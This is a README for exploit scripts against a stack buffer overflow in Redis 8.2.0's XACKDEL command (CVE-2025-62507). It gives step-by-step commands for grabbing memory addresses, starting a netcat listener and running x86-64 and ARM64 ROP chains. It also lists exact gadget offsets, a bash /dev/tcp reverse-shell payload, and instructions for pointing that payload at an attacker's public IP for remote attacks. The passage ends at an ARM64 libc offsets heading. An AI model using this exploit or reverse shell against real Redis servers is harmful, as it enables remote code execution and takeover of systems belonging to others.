Exploit Scripts — CVE-2025-62507

Directory Structure

scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB debugging helper script

---

Vulnerability Summary

Item	Description
CVE	CVE-2025-62507
Vulnerability Type	Stack Buffer Overflow
Affected Component	Redis 8.2.0 xackdelCommand function
Trigger Method	XACKDEL command with more than 52 stream IDs
Exploitation Technique	ROP chain → mprotect to unlock stack execution → shellcode for reverse shell
Dependencies	Python 3 (pure standard library, no extra installation required)

---

Prerequisites

1. Target Environment: Docker container or host running Redis 8.2.0 (vulnerable version)
2. Listener Terminal: Attack machine must start nc -lvnp 4444 in advance waiting for a reverse shell
3. Address Retrieval Permission: Must be able to read /proc/<PID>/maps of the target process (root privilege)
4. Python 3: Both exploit scripts only use standard libraries (socket, struct, time, sys)

---

Quick Start

1. Start the Vulnerable Redis Container

# Execute from the project root
docker compose -f docker-compose-vulnerable.yml up -d

# Verify the container is running
docker ps | grep redis-cve-2025-62507

2. Obtain Key Memory Addresses

REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64 address retrieval
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

Note: Addresses change after each container restart (ASLR), must be re-obtained.

3. Start Reverse Shell Listener

# Open another terminal on the host
nc -lvnp 4444

4. Run the Exploit

# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (Docker QEMU fixed addresses, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

---

exploit_x86.py — x86-64 ROP Exploit

Usage

python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

Parameter Description

Parameter	Meaning	Retrieval Method	Example Value
redis_base	Base address of redis-server ELF	Start address of first redis-server segment in /proc/PID/maps	0x555555554000
libc_base	Base address of libc.so.6	Start address of first libc.so segment in /proc/PID/maps	0x7ffff75b3000
stack_addr	Start address of thread stack segment	Start address of [stack] segment in /proc/PID/maps	0x7ffffffde000

ROP Chain Architecture

52 padding IDs (1-1)
  │
  ▼
ID#53  overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ shellcode ──→ system("/bin/bash -c '...'")

Gadget Offsets (redis-server-8.2.0)

Gadget	Offset	Description
pop rdi; ret	0x82327	Set mprotect 1st argument (addr)
pop rsi; ret	0x86416	Set mprotect 2nd argument (len)
pop rdx; ret	0xba1e2	Set mprotect 3rd argument (prot)
call rsp	0x9486d	Jump to shellcode on stack
mprotect (libc)	0x1019e0	Unlock stack page as RWX
system (libc)	0x4c490	Execute reverse shell command

Custom Reverse Shell Address

The reverse_shell_cmd variable is defined on line 149 of the script, with the default value:

reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

Modification: Edit exploit_x86.py, find the reverse_shell_cmd line, replace the IP and port:

Scenario	IP	Description
Docker host network (default)	127.0.0.1	Container shares network stack with host; 127.0.0.1 = host
Docker bridge network	172.17.0.1	Default bridge gateway pointing to host
Remote attack	<Attacker public IP>	Target must be able to route to attacker's port

Port modification: Replace 4444 in /dev/tcp/<IP>/4444 with the actual listening port.

stack_page is dynamically calculated from the stack_addr parameter: (stack_addr + 0x1000) & ~0xFFF, ensuring the mprotect window covers the stack region containing shellcode. If stack layout is unusual, adjust accordingly.

---

exploit_arm64.py — ARM64 ROP Exploit

Usage

python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

Parameter Description

Parameter	Meaning	Retrieval Method	Example Value
redis_base	Base address of redis-server-8.2.0-arm64 ELF	Start address of first redis-server segment in /proc/PID/maps	0xaaaaaaaa0000
libc_base	Base address of libc.so.6-arm64	Start address of first libc.so segment in /proc/PID/maps	0xfffff7630000
stack_addr	SP value at xackdelCommand entry (from GDB analysis)	Observe xackdelCommand entry SP with GDB breakpoint	0xfffffffff7e0
rev_host	(Optional) Reverse shell attacker IP	—	192.168.1.1
rev_port	(Optional) Reverse shell listening port	—	4444
target	(Optional) Target Redis IP	—	192.168.1.129

ARM64 Note: stack_addr is the SP value at xackdelCommand entry (NOT the [stack] segment start address!). static_ids[0] = stack_addr - 0x310, call()'s saved x30 is at stack_addr + 8 (i.e., static_ids[49].seq).

ROP Chain Architecture

49 padding IDs (1-1)
  │
  ▼
ID#49-58  call() epilogue frame (10 IDs) — overwrites call() saved registers and local variables
  │  #49: saved x29 (dummy) + x30 (G5)
  │  #50: saved x19/x20, #51: saved x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: local variables (set to 0)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → shellcode
ID#99+    shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

Critical: The epilogue of call() restores x19-x28 and reads multiple local variables from the stack before ret. ID#49-58 must be filled with safe values, otherwise the epilogue will crash during execution. The ROP chain starts from ID#59 (SP position after call() ret).

Gadget Offsets (redis-server-8.2.0-arm64)

Gadget	Offset	Function	Stack Consumption
G5 (ldp x19,x20 + ldr x0)	0x1a4d40	Load x19, x0 from stack	0x30 (3 IDs)
G_SET_X2_7	0x1d7a84	Set w2=7, w1=-1 (side effect)	0x40 (4 IDs)
MOV_X3_X19	0x2948b0	x3 = x19 (mprotect), overwrites x0	0x170 (23 IDs)
BLR_X3	0x92bc4	blr x3; call mprotect	0x30 (3 IDs)

Gadget Offsets (libc.so.6-arm64, inside Docker container)